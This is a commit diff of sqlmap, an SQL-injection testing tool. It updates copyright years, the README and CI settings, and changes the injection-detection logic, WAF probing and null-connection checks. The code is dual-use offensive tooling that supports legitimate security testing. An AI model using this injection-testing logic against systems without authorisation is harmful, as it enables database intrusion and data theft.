Minor patch

Minor message update
Fixes #3069
2026-10-12 02:22:55 +00:00 · 2018-05-03 13:31:27 +02:00 · 2018-04-30 11:02:01 +02:00 · 2018-04-26 18:56:17 +02:00 · 2018-04-24 19:52:12 +02:00 · 2018-04-24 19:45:53 +02:00
372 changed files with 3102 additions and 2559 deletions
@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
 In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:

 * Each patch should make one logical change.
-* Wrap code to 76 columns when possible.
 * Avoid tabbing, use four blank spaces instead.
 * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
 * Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
@@ -1,4 +1,7 @@
 language: python
+sudo: false
+git:
+    depth: 1
 python:
    - "2.6"
    - "2.7"
@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.

-sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.

 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -13,7 +13,7 @@ Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/w
 Installation
 ----

-Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger le plus récent archive zip [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).
+Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master).

 De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap):

@@ -21,7 +21,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql

 sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)  

-Usage
+Utilisation
 ----

 Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez:
@@ -33,7 +33,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
    python sqlmap.py -hh

 Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
-Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).

 Liens
 ----
@@ -41,7 +41,7 @@ Liens
 * Page d'acceuil: http://sqlmap.org
 * Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
 * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
 * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound

-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility

-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter

-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -125,8 +125,12 @@ def main(src, dst):
                # Have the IP packet contain the ICMP packet (along with its payload)
                ip.contains(icmp)

-                # Send it to the target host
-                sock.sendto(ip.get_packet(), (dst, 0))
+                try:
+                    # Send it to the target host
+                    sock.sendto(ip.get_packet(), (dst, 0))
+                except socket.error, ex:
+                    sys.stderr.write("'%s'\n" % ex)
+                    sys.stderr.flush()

 if __name__ == '__main__':
    if len(sys.argv) < 3:
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 safe2bin.py - Simple safe(hex) to binary format converter

-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,6 +1,6 @@
 #!/usr/bin/env python

-# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 # Removes duplicate entries in wordlist like files
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -60,7 +60,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,6 +1,6 @@
 #!/usr/bin/env python

-# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission

 import codecs
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -1,12 +1,13 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

 import copy
 import httplib
+import logging
 import os
 import random
 import re
@@ -42,9 +43,11 @@ from lib.core.common import readInput
 from lib.core.common import showStaticWords
 from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
+from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import wasLastResponseDBMSError
 from lib.core.common import wasLastResponseHTTPError
+from lib.core.convert import unicodeencode
 from lib.core.defaults import defaults
 from lib.core.data import conf
 from lib.core.data import kb
@@ -52,6 +55,7 @@ from lib.core.data import logger
 from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import cachedmethod
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
@@ -108,6 +112,9 @@ def checkSqlInjection(place, parameter, value):
    if value.isdigit():
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
        boundaries = kb.cache.intBoundaries
+    elif value.isalpha():
+        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
+        boundaries = kb.cache.alphaBoundaries
    else:
        boundaries = conf.boundaries

@@ -141,8 +148,7 @@ def checkSqlInjection(place, parameter, value):
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS
-                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \
-                   SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
+                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                    msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -151,9 +157,7 @@ def checkSqlInjection(place, parameter, value):
            # message, via simple heuristic check or via DBMS-specific
            # payload), ask the user to extend the tests to all DBMS-specific,
            # regardless of --level and --risk values provided
-            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \
-               and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
-               kb.heuristicDbms or injection.dbms):
+            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = "for the remaining tests, do you want to include all tests "
                msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
                msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -201,7 +205,7 @@ def checkSqlInjection(place, parameter, value):
                    continue

                match = re.search(r"(\d+)-(\d+)", test.request.columns)
-                if injection.data and match:
+                if match and injection.data:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
@@ -237,9 +241,7 @@ def checkSqlInjection(place, parameter, value):

            # Skip tests if title, vector or DBMS is not included by the
            # given test filter
-            if conf.testFilter and not any(conf.testFilter in str(item) or \
-               re.search(conf.testFilter, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
+            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                    debugMsg = "skipping test '%s' because its " % title
                    debugMsg += "name/vector/DBMS is not included by the given filter"
                    logger.debug(debugMsg)
@@ -247,9 +249,7 @@ def checkSqlInjection(place, parameter, value):

            # Skip tests if title, vector or DBMS is included by the
            # given skip filter
-            if conf.testSkip and any(conf.testSkip in str(item) or \
-               re.search(conf.testSkip, str(item), re.I) for item in \
-               (test.title, test.vector, payloadDbms)):
+            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                    debugMsg = "skipping test '%s' because its " % title
                    debugMsg += "name/vector/DBMS is included by the given skip filter"
                    logger.debug(debugMsg)
@@ -281,9 +281,9 @@ def checkSqlInjection(place, parameter, value):
                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific error message)
                if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
-                    debugMsg = "skipping test '%s' because the parsed " % title
-                    debugMsg += "error message(s) showed that the back-end DBMS "
-                    debugMsg += "could be %s" % Format.getErrorParsedDBMSes()
+                    debugMsg = "skipping test '%s' because the heuristic " % title
+                    debugMsg += "tests showed that the back-end DBMS "
+                    debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests)
                    logger.debug(debugMsg)
                    continue

@@ -331,6 +331,23 @@ def checkSqlInjection(place, parameter, value):
                logger.debug(debugMsg)
                continue

+            if stype == PAYLOAD.TECHNIQUE.UNION:
+                match = re.search(r"(\d+)-(\d+)", test.request.columns)
+                if match and not injection.data:
+                    _ = test.request.columns.split('-')[-1]
+                    if conf.uCols is None and _.isdigit() and int(_) > 10:
+                        if kb.futileUnion is None:
+                            msg = "it is not recommended to perform "
+                            msg += "extended UNION tests if there is not "
+                            msg += "at least one other (potential) "
+                            msg += "technique found. Do you want to skip? [Y/n] "
+                            kb.futileUnion = not readInput(msg, default='Y', boolean=True)
+
+                        if kb.futileUnion is False:
+                            debugMsg = "skipping test '%s'" % title
+                            logger.debug(debugMsg)
+                            continue
+
            infoMsg = "testing '%s'" % title
            logger.info(infoMsg)

@@ -437,11 +454,13 @@ def checkSqlInjection(place, parameter, value):
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
+
                        if reqPayload:
-                            if reqPayload in seenPayload:
+                            stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
+                            if stripPayload in seenPayload:
                                continue
                            else:
-                                seenPayload.add(reqPayload)
+                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

@@ -493,12 +512,16 @@ def checkSqlInjection(place, parameter, value):
                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
-                                    elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                        if _ > kb.matchRatio:
                                            kb.matchRatio = _
                                            logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)

+                                    # Reducing false-positive "appears" messages in heavily dynamic environment
+                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
+                                        continue
+
                                    injectable = True

                                elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -506,8 +529,13 @@ def checkSqlInjection(place, parameter, value):
                                    trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
                                    falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))

+                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
+                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, "\n").split("\n"))
+                                    else:
+                                        errorSet = set()
+
                                    if originalSet == trueSet != falseSet:
-                                        candidates = trueSet - falseSet
+                                        candidates = trueSet - falseSet - errorSet

                                        if candidates:
                                            candidates = sorted(candidates, key=lambda _: len(_))
@@ -535,7 +563,13 @@ def checkSqlInjection(place, parameter, value):
                                        falseSet = set(extractTextTagContent(falseRawResponse))
                                        falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())

-                                        candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
+                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
+                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
+                                            errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
+                                        else:
+                                            errorSet = set()
+
+                                        candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)))

                                        if candidates:
                                            candidates = sorted(candidates, key=lambda _: len(_))
@@ -572,10 +606,10 @@ def checkSqlInjection(place, parameter, value):
                            # body for the test's <grep> regular expression
                            try:
                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
-                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, listToStrValue([headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] if headers else None), re.DOTALL | re.IGNORECASE) \
-                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
+                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
+                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == "1"
@@ -629,11 +663,12 @@ def checkSqlInjection(place, parameter, value):
                                Backend.forceDbms(kb.dbmsFilter[0])
                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
-                                    warnMsg = "using unescaped version of the test "
-                                    warnMsg += "because of zero knowledge of the "
-                                    warnMsg += "back-end DBMS. You can try to "
-                                    warnMsg += "explicitly set it with option '--dbms'"
-                                    singleTimeWarnMessage(warnMsg)
+                                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
+                                        warnMsg = "using unescaped version of the test "
+                                        warnMsg += "because of zero knowledge of the "
+                                        warnMsg += "back-end DBMS. You can try to "
+                                        warnMsg += "explicitly set it with option '--dbms'"
+                                        singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

@@ -643,18 +678,6 @@ def checkSqlInjection(place, parameter, value):
                                infoMsg += "there is at least one other (potential) "
                                infoMsg += "technique found"
                                singleTimeLogMessage(infoMsg)
-                            elif not injection.data:
-                                _ = test.request.columns.split('-')[-1]
-                                if _.isdigit() and int(_) > 10:
-                                    if kb.futileUnion is None:
-                                        msg = "it is not recommended to perform "
-                                        msg += "extended UNION tests if there is not "
-                                        msg += "at least one other (potential) "
-                                        msg += "technique found. Do you want to skip? [Y/n] "
-
-                                        kb.futileUnion = not readInput(msg, default='Y', boolean=True)
-                                    if kb.futileUnion is False:
-                                        continue

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -671,7 +694,7 @@ def checkSqlInjection(place, parameter, value):

                        kb.previousMethod = method

-                        if conf.dummy or conf.offline:
+                        if conf.offline:
                            injectable = False

                    # If the injection test was successful feed the injection
@@ -813,6 +836,7 @@ def checkSqlInjection(place, parameter, value):

    return injection

+@stackedmethod
 def heuristicCheckDbms(injection):
    """
    This functions is called when boolean-based blind is identified with a
@@ -849,6 +873,7 @@ def heuristicCheckDbms(injection):

    return retVal

+@stackedmethod
 def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
@@ -856,8 +881,7 @@ def checkFalsePositives(injection):

    retVal = True

-    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
-      (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
+    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
@@ -911,6 +935,7 @@ def checkFalsePositives(injection):

    return retVal

+@stackedmethod
 def checkSuhosinPatch(injection):
    """
    Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -918,7 +943,7 @@ def checkSuhosinPatch(injection):

    if injection.place == PLACE.GET:
        debugMsg = "checking for parameter length "
-        debugMsg += "constrainting mechanisms"
+        debugMsg += "constraining mechanisms"
        logger.debug(debugMsg)

        pushValue(kb.injection)
@@ -927,13 +952,14 @@ def checkSuhosinPatch(injection):
        randInt = randomInt()

        if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
-            warnMsg = "parameter length constrainting "
+            warnMsg = "parameter length constraining "
            warnMsg += "mechanism detected (e.g. Suhosin patch). "
            warnMsg += "Potential problems in enumeration phase can be expected"
            logger.warn(warnMsg)

        kb.injection = popValue()

+@stackedmethod
 def checkFilteredChars(injection):
    debugMsg = "checking for filtered characters"
    logger.debug(debugMsg)
@@ -954,7 +980,7 @@ def checkFilteredChars(injection):

    # inference techniques depend on character '>'
    if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
-        if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)):
+        if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
            warnMsg = "it appears that the character '>' is "
            warnMsg += "filtered by the back-end server. You are strongly "
            warnMsg += "advised to rerun with the '--tamper=between'"
@@ -968,6 +994,11 @@ def heuristicCheckSqlInjection(place, parameter):
        logger.debug(debugMsg)
        return None

+    if kb.heavilyDynamic:
+        debugMsg = "heuristic check skipped because of heavy dynamicity"
+        logger.debug(debugMsg)
+        return None
+
    origValue = conf.paramDict[place][parameter]
    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

@@ -1051,13 +1082,13 @@ def heuristicCheckSqlInjection(place, parameter):

    if value.lower() in (page or "").lower():
        infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
-        infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
+        infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter
        logger.info(infoMsg)

    for match in re.finditer(FI_ERROR_REGEX, page or ""):
        if randStr1.lower() in match.group(0).lower():
            infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
-            infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
+            infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter
            logger.info(infoMsg)
            break

@@ -1143,16 +1174,18 @@ def checkDynamicContent(firstPage, secondPage):
            count += 1

            if count > conf.retries:
-                warnMsg = "target URL is too dynamic. "
+                warnMsg = "target URL content appears to be too dynamic. "
                warnMsg += "Switching to '--text-only' "
                logger.warn(warnMsg)

                conf.textOnly = True
                return

-            warnMsg = "target URL is heavily dynamic"
-            warnMsg += ". sqlmap is going to retry the request"
-            logger.critical(warnMsg)
+            warnMsg = "target URL content appears to be heavily dynamic. "
+            warnMsg += "sqlmap is going to retry the request(s)"
+            singleTimeLogMessage(warnMsg, logging.CRITICAL)
+
+            kb.heavilyDynamic = True

            secondPage, _, _ = Request.queryPage(content=True)
            findDynamicContent(firstPage, secondPage)
@@ -1168,7 +1201,7 @@ def checkStability():
    like for instance string matching (--string).
    """

-    infoMsg = "testing if the target URL is stable"
+    infoMsg = "testing if the target URL content is stable"
    logger.info(infoMsg)

    firstPage = kb.originalPage  # set inside checkConnection()
@@ -1186,7 +1219,7 @@ def checkStability():

    if kb.pageStable:
        if firstPage:
-            infoMsg = "target URL is stable"
+            infoMsg = "target URL content is stable"
            logger.info(infoMsg)
        else:
            errMsg = "there was an error checking the stability of page "
@@ -1196,12 +1229,11 @@ def checkStability():
            logger.error(errMsg)

    else:
-        warnMsg = "target URL is not stable. sqlmap will base the page "
+        warnMsg = "target URL content is not stable. sqlmap will base the page "
        warnMsg += "comparison on a sequence matcher. If no dynamic nor "
        warnMsg += "injectable parameters are detected, or in case of "
        warnMsg += "junk results, refer to user's manual paragraph "
-        warnMsg += "'Page comparison' and provide a string or regular "
-        warnMsg += "expression to match on"
+        warnMsg += "'Page comparison'"
        logger.warn(warnMsg)

        message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
@@ -1290,6 +1322,7 @@ def checkRegexp():

    return True

+@stackedmethod
 def checkWaf():
    """
    Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1316,14 +1349,19 @@ def checkWaf():
    retVal = False
    payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)

-    value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
-    value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload))
+    if PLACE.URI in conf.parameters:
+        place = PLACE.POST
+        value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
+    else:
+        place = PLACE.GET
+        value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
+        value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))

    pushValue(conf.timeout)
    conf.timeout = IDS_WAF_CHECK_TIMEOUT

    try:
-        retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
+        retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
    except SqlmapConnectionException:
        retVal = True
    finally:
@@ -1350,6 +1388,7 @@ def checkWaf():

    return retVal

+@stackedmethod
 def identifyWaf():
    if not conf.identifyWaf:
        return None
@@ -1434,6 +1473,7 @@ def identifyWaf():

    return retVal

+@stackedmethod
 def checkNullConnection():
    """
    Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1445,16 +1485,16 @@ def checkNullConnection():
    infoMsg = "testing NULL connection to the target URL"
    logger.info(infoMsg)

-    try:
-        pushValue(kb.pageCompress)
-        kb.pageCompress = False
+    pushValue(kb.pageCompress)
+    kb.pageCompress = False

-        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
+    try:
+        page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)

        if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
            kb.nullConnection = NULLCONNECTION.HEAD

-            infoMsg = "NULL connection is supported with HEAD method (Content-Length)"
+            infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
            logger.info(infoMsg)
        else:
            page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
@@ -1462,11 +1502,10 @@ def checkNullConnection():
            if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
                kb.nullConnection = NULLCONNECTION.RANGE

-                infoMsg = "NULL connection is supported with GET method (Range)"
-                infoMsg += "'%s'" % kb.nullConnection
+                infoMsg = "NULL connection is supported with GET method ('Range')"
                logger.info(infoMsg)
            else:
-                _, headers, _ = Request.getPage(skipRead = True)
+                _, headers, _ = Request.getPage(skipRead=True)

                if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
                    kb.nullConnection = NULLCONNECTION.SKIP_READ
@@ -1474,9 +1513,8 @@ def checkNullConnection():
